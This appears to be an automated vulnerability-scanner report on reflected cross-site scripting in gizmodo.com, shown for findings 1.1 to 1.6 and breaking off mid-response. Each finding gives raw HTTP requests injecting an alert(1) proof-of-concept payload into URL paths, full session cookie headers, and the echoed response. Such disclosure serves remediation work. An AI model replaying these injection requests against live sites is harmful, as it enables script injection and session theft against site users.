gizmodo.com, XSS, Cross Site Scripting, CWE-79, Capec-86

Cross Site Scripting in gizmodo.com | Vulnerability Crawler

Report generated by CloudScan Vulnerability Crawler at Mon Dec 13 18:33:20 CST 2010.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://gizmodo.com/5694699/gizmodos-gift-guides-updated [REST URL parameter 2]

1.2. http://gizmodo.com/5702651/control4-home-automation-review-access-anything-from-anywhere [REST URL parameter 2]

1.3. http://gizmodo.com/5711721/this-weeks-best-apps [REST URL parameter 2]

1.4. http://gizmodo.com/5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house [REST URL parameter 2]

1.5. http://gizmodo.com/5712915/the-real-da-vinci-code-discovered [REST URL parameter 2]

1.6. http://gizmodo.com/5712981/commenter-qa-were-here-to-help [REST URL parameter 2]

1.7. http://gizmodo.com/5713152/your-body-is-a-gadget [REST URL parameter 2]

1.8. http://gizmodo.com/tag/trueconfessions/ [REST URL parameter 2]

1.9. http://gizmodo.com/tag/trueconfessions/ [REST URL parameter 2]

1.10. http://gizmodo.com/tag/twitter/ [REST URL parameter 2]

1.11. http://gizmodo.com/tag/twitter/ [REST URL parameter 2]

1.12. http://gizmodo.com/tag/twitter/ [name of an arbitrarily supplied request parameter]

1.13. http://gizmodo.com/tag/vacuums/ [REST URL parameter 2]

1.14. http://gizmodo.com/tag/vacuums/ [REST URL parameter 2]

1.15. http://gizmodo.com/tag/vacuums/ [name of an arbitrarily supplied request parameter]

1.16. http://gizmodo.com/tag/video/ [REST URL parameter 2]

1.17. http://gizmodo.com/tag/video/ [REST URL parameter 2]

1.18. http://gizmodo.com/tag/video/ [name of an arbitrarily supplied request parameter]

1.19. http://gizmodo.com/tag/whitenoise [REST URL parameter 2]

1.20. http://gizmodo.com/tag/whitenoise [REST URL parameter 2]

1.21. http://gizmodo.com/tag/whitenoise [name of an arbitrarily supplied request parameter]

1.22. http://gizmodo.com/tag/wikileaks/ [REST URL parameter 2]

1.23. http://gizmodo.com/tag/wikileaks/ [REST URL parameter 2]

1.24. http://gizmodo.com/tag/wikileaks/ [name of an arbitrarily supplied request parameter]

1.25. http://gizmodo.com/tag/worstmodo/ [REST URL parameter 2]

1.26. http://gizmodo.com/tag/worstmodo/ [REST URL parameter 2]

1.27. http://gizmodo.com/tag/worstmodo/ [name of an arbitrarily supplied request parameter]

1.28. http://gizmodo.com/tag/youtube/ [REST URL parameter 2]

1.29. http://gizmodo.com/tag/youtube/ [REST URL parameter 2]

1.30. http://gizmodo.com/tag/youtube/ [name of an arbitrarily supplied request parameter]

1.31. http://gizmodo.com/5694699/gizmodos-gift-guides-updated [Referer HTTP header]

1.32. http://gizmodo.com/5702651/control4-home-automation-review-access-anything-from-anywhere [Referer HTTP header]

1.33. http://gizmodo.com/5711721/this-weeks-best-apps [Referer HTTP header]

1.34. http://gizmodo.com/5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house [Referer HTTP header]

1.35. http://gizmodo.com/5712915/the-real-da-vinci-code-discovered [Referer HTTP header]

1.36. http://gizmodo.com/5712981/commenter-qa-were-here-to-help [Referer HTTP header]

1.37. http://gizmodo.com/5713152/your-body-is-a-gadget [Referer HTTP header]



1. Cross-site scripting (reflected)
There are 37 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://gizmodo.com/5694699/gizmodos-gift-guides-updated [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5694699/gizmodos-gift-guides-updated

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f6181"-alert(1)-"d413befe04c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5694699/gizmodos-gift-guides-updatedf6181"-alert(1)-"d413befe04c HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:27:19 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:18 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:18 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:27:18 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=125197 at t=1292286439363455 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9932
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 97435

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5694699/gizmodos-gift-guides-updatedf6181"-alert(1)-"d413befe04c", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.2. http://gizmodo.com/5702651/control4-home-automation-review-access-anything-from-anywhere [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5702651/control4-home-automation-review-access-anything-from-anywhere

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71b98"-alert(1)-"ae773098c7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5702651/control4-home-automation-review-access-anything-from-anywhere71b98"-alert(1)-"ae773098c7a HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:27:02 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:01 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:01 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:27:01 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=94358 at t=1292286422225133 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9978
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 97993

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5702651/control4-home-automation-review-access-anything-from-anywhere71b98"-alert(1)-"ae773098c7a", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.3. http://gizmodo.com/5711721/this-weeks-best-apps [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5711721/this-weeks-best-apps

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdecf"-alert(1)-"509852e6935 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5711721/this-weeks-best-appsfdecf"-alert(1)-"509852e6935 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:31 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:30 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:30 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:30 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=127993 at t=1292286391453072 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9995
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 94261

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5711721/this-weeks-best-appsfdecf"-alert(1)-"509852e6935", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.4. http://gizmodo.com/5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4be4c"-alert(1)-"dbb9d2fc010 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house4be4c"-alert(1)-"dbb9d2fc010 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:55 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:54 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:54 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:54 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=89252 at t=1292286415347441 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9992
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 91377

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5712244/it-costs-82000-to-light-the-one-million-christmas-lights-at-this-house4be4c"-alert(1)-"dbb9d2fc010", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.5. http://gizmodo.com/5712915/the-real-da-vinci-code-discovered [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712915/the-real-da-vinci-code-discovered

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d29a"-alert(1)-"ef5c124fe7e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712915/the-real-da-vinci-code-discovered3d29a"-alert(1)-"ef5c124fe7e HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:26:26 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:25 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:26:25 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:26:25 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=99725 at t=1292286386499500 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9996
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8;
Content-Length: 91058

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script>COMSCORE.beacon({ c1:2, c2:"6770184", c3:"", c4:"http://gizmodo.com/5712915/the-real-da-vinci-code-discovered3d29a"-alert(1)-"ef5c124fe7e", c5:"", c6:"", c15:"754d3b148df7a597947f5556cbe06628" });</script>
...[SNIP]...

1.6. http://gizmodo.com/5712981/commenter-qa-were-here-to-help [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://gizmodo.com
Path:   /5712981/commenter-qa-were-here-to-help

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f371"-alert(1)-"6bbf3d6c6d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /5712981/commenter-qa-were-here-to-help8f371"-alert(1)-"6bbf3d6c6d2 HTTP/1.1
Host: gizmodo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ad_url_commenter=0; form_token=203d155d993792d564eddf22bfde7719; __g_c=w%3A1%7Cb%3A2%7Cc%3A281937846076422%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; GANJAVIEW=deleted; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_DATA=mail2token%7Ca%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A32%3A%2279c35afbdc45d54f784f46c37bc1c0bd%22%3Bs%3A4%3A%22time%22%3Bi%3A1292284770%3B%7D; ad_url_login=0; NSC_hbxlfs-qppm=8efb342b296b; base_domain_066270cf79f7674472a87f2f31c679e9=gizmodo.com; GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; __g_u=281937846076422_1_0.01_0_5_1292716714685; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHKSUM=deleted; __utma=228390923.1835297575.1292284787.1292284787.1292284787.1; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_REVOL=deleted; __utmc=228390923; __utmb=228390923.1.10.1292284787; usrev=96542; __g_tut=1292284781061; __utmz=228390923.1292284787.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); fbsetting_066270cf79f7674472a87f2f31c679e9=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; SESSID_GANJA_474d3f8c65c5b1a0028a4c6fca7c6b21_CHK=c3d231b79508391269cdc37138e05014; __g_iut=1292284781057; SESSID_GANJA=474d3f8c65c5b1a0028a4c6fca7c6b21; ad_url_visited_gizmodo_com=true; _chartbeat2=8a5dcqortmtpygam; ad_url_star=0; __qca=P0-2073544606-1292284781071;

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:27:01 GMT
Server: Apache
X-Cookie-Set: 1
X-Powered-By: PHP/5.2.13
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:00 GMT; path=/
Set-Cookie: GANJAVIEW=deleted; expires=Mon, 14-Dec-2009 00:27:00 GMT; path=/; domain=.gizmodo.com
Set-Cookie: GANJAUSERSETTINGS=deleted; expires=Mon, 14-Dec-2009 00:27:00 GMT; path=/
Set-Cookie: GANJAUSERSETTINGS=a%3A1%3A%7Bs%3A3%3A%22css%22%3BN%3B%7D; path=/; domain=.gizmodo.com
Cache-Control: max-age=180
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
GawkerApplicationHost: PEST-45
GawkerHost: GM27 - Request took D=93524 at t=1292286421063720 on site gizmodo.com (gizmo)
GawkerApplication: ganja
Keep-Alive: timeout=300, max=9837
Connection: Keep-Alive
